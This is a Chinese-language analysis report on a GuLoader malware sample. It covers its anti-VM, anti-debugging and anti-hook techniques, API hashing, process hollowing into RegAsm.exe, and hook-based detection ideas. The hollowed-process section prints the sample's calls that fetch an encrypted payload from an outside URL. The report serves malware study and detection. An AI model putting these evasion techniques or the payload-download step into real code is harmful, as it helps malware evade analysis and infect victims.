GuLoader分析报告
GuLoader分析报告
文章目录
- GuLoader分析报告
- 基本信息
- 样本基本信息
- 主要执行流程
- 关键技术概览
- 反虚拟机
- 1.内存遍历检测字符串
- 2.qemu-ga.exe
- 3.窗口数量检测
- 反逆向分析
- 1.花指令
- 2.反调试
- DLL函数加载
- 反HOOK
- 1.检测一
- 2.检测二
- 3.检测三
- 4,检测四
- 傀儡进程
- 加密特征
- 详细分析
- 加载器部分
- 傀儡进程部分
- 行为检测
- 修复HOOK&HOOK检测
- 概述
- 可行性
- 窗口数检测
- 概述
- 可行性
- 傀儡进程检测
- 概述
- 可行性
- qemu-ga.exe检测
- 概述
- 可行性
- 反调试检测
- ZwSetInformationThread
- 概述
- 可行性
- patch DebugBreakPoint&DbgUiRemoteBreakin
- 概述
- 可行性
- 时间差检测
- 概述
- 可行性
- 硬件断点检测
- 概述
- 可行性
- API检测
- 概述
- 可行性
基本信息
样本基本信息
样本名称 | b89d53ad687ce9c4a808fdab9190a497.exe |
样本类型 | exe |
恶意类型 | 加载器 |
样本MD5 | b89d53ad687ce9c4a808fdab9190a497 |
样本SHA | 30e2ae0a9d77e37e1dc03fe8d9769672184e1ff5 |
主要执行流程
样本分配出一段空间,解密shellcode后经过一系列调试检测,虚拟机检测,HOOK检测之后。启动傀儡进程RegAsm.exe,傀儡进程其实为其本身,不过执行路径不同,同样经过一系列检测后进行文件下载…
后面的话主要就是下载数据,异或解密后运行窃密木马(这个网站挂了没分析出)
关键技术概览
反虚拟机
1.内存遍历检测字符串
遍历内存,将内存中的字符串进行加密后与特定数据进行比较,0x2d9cc76c,0xdfcb8f12,0x27AA3188,0xF21FD920,0X3E17ADE6,0x7F21185B,0XA7C53F01,0XB314751D
其中检测到VmtoolsdControlWndClass字符串,弹窗程序不能在虚拟机中运行
2.qemu-ga.exe
调用了CreateFileA(“C:\Program Files\Qemu-ga\qemu-ga.exe”,0,1,0,3,0,0)
返回error path not found 否则退出程序
3.窗口数量检测
EnumWindows检测窗口数量与12进行比较
反逆向分析
1.花指令
程序中加了大量花指令,干扰IDA的逆向分析,且其中的花指令还会参与到异或运算之中,不方便进行补丁去除。
2.反调试
- 将DebugBreakPoint函数patch为0x90
- 将DbgUiRemoteBreakin前几个字节给Patch了,变成了exit(0)函数
- rdstc时间差检测,反调试
- 调用了ZwSetInformationThread(-2,0x11,0,0),将自身从调试器中分离出来
- 调用CreateProcessInternalW等函数之前会检测第一个字节是否为0xcc断点
- ZwGetContextThread(-2,)获取线程上下文,判断Dr0,DR1,DR2,DR3,DR6,DR7的值
- 傀儡进程写入前,会将程序前半部分自身不断异或,如果程序有0xcc断点或者patch,会造成后续傀儡进程的异常
DLL函数加载
程序没有直接调用DLL函数,而是解析DLL格式,根据函数名称加密的值,来确定调用的函数地址。
反HOOK
检测ntdll.dll之中的函数是否被HOOK
1.检测一
检测如下特征二进制码
B8 00 00 00 00 mov eax,0
BA * * * * * mov edx,****//这里感觉有点问题
50 push eax
c3 ret
90 nop
90 nop
将会被修复
2.检测二
B8 **** E0 FF
B8 **** mov eax ****E0 FF jmp eax将其patch为
mov eax ,5
mov edx,xxxxx
3.检测三
检测点为50 c3 90 90
push eax
retn
4,检测四
检测点E8 00 00 00 00****** C2 14 ***** C2 14
call $0
.....
retn 0x14
.....
retn 0x14
傀儡进程
启动了RegAsm.exe作为傀儡进程
加密特征
__asm
{mov edx,0x1505
label1:mov ebx,dexshl edx,5add edx,ebxmovzx ebx,byte ptr ds:[esi];//esi为函数名称地址add edx,ebxadd esi,0x1cmp word ptr ds:[esi],0jnz label1
};如果dll加密,奇数位参与相加运算,add esi,0x2
详细分析
加载器部分
程序首先分配一段内存,四个字节为一组0x929254c4异或密钥shellcode之后利用push,pop对新分配内存进行填值
利用PE结构获取dll函数地址,调用ZwQueryVirtualMemoey(-1,0x10000,0,0x12F700,0X1c,0)<0xe7639e>
遍历内存直到出现数值不为0,后面进行E76009加密,将加密后的数据与特定数据进行比较0x2d9cc76c,0xdfcb8f12,0x27AA3188,0xF21FD920,0X3E17ADE6,0x7F21185B,0XA7C53F01,0XB314751D,在0x612B68检测到字符串vmtoolsdControlWndClass
调用了EnumWindows检测窗口数量与12进行比较大于等于则跳转
调用了ZwProtectVirtualMemory(-1,0x12f80c,12f810,0x40,0x12f814);
12f80c→7c921000
12f810→7a000
12f814→0
将Ntdll内存修改为可读可写可执行
将DebugBreakPoint函数修改为0x90 nop
将DbgUiRemoteBreakin前几个字节给Patch了,变成了exit(0)函数
如果内存中存在如下组合
B8 00 00 00 00 mov eax,0
BA * * * * * mov edx,****
50 push eax
c3 ret
90 nop
90 nop
将会启动patch
检测数据 B8 **** E0FF,mov eax,jmp eax,
将其patch为mov eax ,5 mov edx,xxxxx
检测数据E8 00 00 00 00,会将前面5个数据给patch
调用了ZwSetInformationThread(-2,0x11,0,0)进行反调试
调用了CreateFileA(“C:\Program Files\Qemu-ga\qemu-ga.exe”,0,1,0,3,0,0)
返回error path not found 否则退出程序
时间差检测反调试
ZwGetContextThread(-2)获取线程上下文信息,并且比较DR0,DR1,DR2,DR3,DR6,DR7,判断是否存在调试行为
检测CreateProcessInternalW等函数第一个字节是否为,0xcc(检测函数断点)或者是否为0x0f0b,0xcd03(这两个不知道检测啥可能是hook)
调用了CreateProcessInternalW(0, “C:\WINDOWS[Microsoft.NET](http://microsoft.net/)\Framework\v2.0.50727\RegAsm.exe”,“C:\Documents and Settings\Administrator\桌面\GuLoad”,0xE80000,0XE80000,0,4,0,0,0XE80400,0XE80800,0)
0XE8000→0XC
0XE80400→0X44
后续调用了OpenFile,ZwCreateSection,ZwMapViewOfSection
ZwWriteVirtualMemory(0x9c,0x90000,0xe70000,0x9000,0x12f928)
ZwGetContextThread,ZwSetContextThread,ZwResumeThread,ZwWaitForSingleObject,ZwTerminateProcess且在每次调用之前都会判断硬件断点,并且在调用的过程中异或了代码段,其中ZwWriteVirtualMemory函数的就是不断异或后的代码段,其实是本身,如果下断点的话会有问题。
傀儡进程部分
InternetSetOptionA(0xcc0004,0x2,0x19fbd8,4)
InternetOpenUrlA(0xcc0004,"http://hosseinsoltani.ir/wp-includes/IXR/gozman_FuZUeePhB40.bin“)
InternetReadFile(0,0x1fe0000,0x10000,0x19fbc)
InternetCloseHandle
再次InternetOpenA(“Mozilla/5.0 (Windows NT 6.1; WOWTrident/7.0; rv:11.0)”,0,0,0,0)
InternetOpenUrlA(0xcc0004,“http://hosseinsoltani.ir/wp-includes/IXR/gozman_FuZUeePhB40.bin”)
InternetReadFile(0,0x1fe0000,0x10000,0x19fbc)
InternetCloseHandle
因为网站挂了,开始无限循环…
行为检测
修复HOOK&HOOK检测
概述
修复HOOK之前调用了ZwProtectVirtualMemory,修改动态链接库内存凌空为可读可写可执行,可以先一步HOOK ProtectVirtualMemory相关函数.用来判断相关行为
可行性
检测其参数,如果为dll领空,则说明存在反HOOK行为。
针对HOOK可以采用一些不同的inline hook方式进行干扰检测
窗口数检测
概述
可以尝试HOOK EnumWindows函数,可能存在窗口数行为。
可行性
不过一般的程序也可能会有此行为,所以可能进行误判
傀儡进程检测
概述
检测 CreateProcessInternW,ZwSetContextThread,ZwResumeThread,相关函数参数来判断是否存在傀儡进程。
可行性
Hook CreateProcessInternW函数,获取启动进程名称
Hook ZwSetContextThread和ZwResumeThread函数参数可以确定句柄。
qemu-ga.exe检测
概述
检测字符串为C:\Program Files\Qemu-ga\qemu-ga.exe,说明存在虚拟机检测。
可行性
可以通过HookCreateFileA文件操作相关函数,查看其参数确定行为
反调试检测
ZwSetInformationThread
概述
HOOK API ZwSetInformationThread 判断其行为
可行性
判断第二个参数为0x11说明存在反调试行为
patch DebugBreakPoint&DbgUiRemoteBreakin
概述
判断函数内存前几个字节是否被patch
可行性
根据PEB获取kernel32.dll基址,获取GetProcAddress地址后找到LoadLibrary地址,再利用LoadLibary函数获取ntdll地址,最后利用GetPorcAddress获取DebugBreakPoint,DbgUiRemoteBreakin地址,查询前几个字节是否有变动。如果改变则可能存在反调试行为。
时间差检测
概述
检测机器码0f31用来判断rdstc时间差检测反调试。
可行性
由于机器码长度过短,且程序在运行过程中不断异或加解密自身,可能会存在误报现象。
硬件断点检测
概述
通过Hook ZwGetContextThread来确定其可疑行为
可行性
不过普通程序也会调用该API,且获取线程上下文不一定是判断硬件断点所用,所以可能会误判
API检测
概述
通过检测导入表来判断API
可行性
程序解析DLL格式,遍历函数名称,通过函数名称生成哈希比较,来确定获取的DLL的名称及其地址,不太好检测导入DLL或者字符串来判断导入函数确定行为
GuLoader分析报告相关推荐
- 最新的全球编程语言,操作系统,web服务器等使用率分析报告
由www.w3techs.com 根据alexa排名前100万的网站数据给出的分析报告,并每天持续更新. 1.服务器端编程语言排名 http://w3techs.com/technologies/ov ...
- oracle如何自动分析报告,ORACLE 性能分析报告的获取
ORACLE 性能分析报告的获取: 我们都知道,在oracle数据库当中有性能分析报告的设计,如ASH,AWR,ADDM,AWRDD,AWRSQRPT,这些报告就像我们去医院的检查报告一样,我们在这个 ...
- 用哪种语言写的应用漏洞最严重?六大主流语言代码漏洞分析报告出炉
来源:机器之心 本文约1600字,建议阅读5分钟 静态代码分析安全公司 Veracode 近日发布了一份应用程序分析报告,结果发现比起 JavaScript 和 Python 等语言,C++ 和 PH ...
- 全球大数据发展分析报告
来源:人工智能产业链联盟 国智清创雄安机器人研究院 <2018全球大数据发展分析报告>由天府大数据国际战略与技术研究院联合中国科学院虚拟经济与数据科学研究中心.中国科学院大数据挖掘与知 ...
- M1事后分析报告--We have power to change the origin state
M1事后分析报告 设计与实现 我们发的软件解决的问题?是否满足后面小组的要求?是否能够完全拟合前期目标? 答: 前期我们的软件完成量并不是特别让人满意,我们组在完成这些任务量之后,发现有很多地方是在做 ...
- Countly 19.02.1 发布,实时移动和 web 分析报告平台
百度智能云 云生态狂欢季 热门云产品1折起>>> 实时移动和 web 分析报告平台 Countly 19.02.1 发布了. 新版更新内容主要有: 新特性 [前端] 根据路由名称 ...
- Xshell高级后门完整分析报告
Xshell高级后门完整分析报告 from:https://security.tencent.com/index.php/blog/msg/120 1. 前言 近日,Xshell官方发布公告称其软件中 ...
- 【Android 电量优化】电量优化 ( Battery Historian 环境要求 | 电量分析报告 | 电量优化三原则 | 电量优化注意事项 )
文章目录 一.Battery Historian 环境要求 二.上传电量报告 三.Battery Historian 电量分析报告 四.电量优化三原则 五.电量优化注意事项 参考 Google 官方文 ...
- 【Android 电量优化】电量优化 ( 获取电量分析报告 | 阿里云服务器搭建 Battery Historian | 上传并生成分析报告 )
文章目录 一.Battery Historian 搭建环境 二.获取 Android 手机电量报告 1.重置电量状态 2.开启获取 WeakLock 信息 3.获取手机电量报告 三.阿里云服务器搭建 ...
最新文章
- 运维工程师的职责和前景
- AJPFX关于单例设计模式
- Linux 硬件信息命令
- SpringBoot Mybatis EnumTypeHandler自定义统一处理器
- WPF企业内训全程实录(下)
- 非root用户ssh 执行 sudo远程机器免密钥
- 构建之法第一、二、十六章
- [转] ASP.NET中使用javascript
- 【廖雪峰官方网站/Java教程】Maven基础
- 网页websocket服务器端,node.js中ws模块创建服务端和客户端,网页WebSocket客户端
- mysql c3p0 释放连接_mysql重启后,防止c3p0丢掉连接数_mysql
- 分布式系统面临的问题
- 文件夹自定义重命名的步骤
- 让oracle开机自动启动,设置CentOS下开机自动启动Oracle
- 订单拆单-产品逻辑分析研究
- frame切换/窗口切换
- JS 区分+0和-0
- 汉字编码(【Unicode】 【UTF-8】 【Unicode与UTF-8之间的转换】 【汉字 Unicode 编码范围】【中文标点Unicode码】【GBK编码】【批量获取汉字UNICODE码】)
- 【系统架构师】软件架构设计——2需求与质量属性
- 一寸照纯红色底图片_如何用最快的速度给证件照换底色?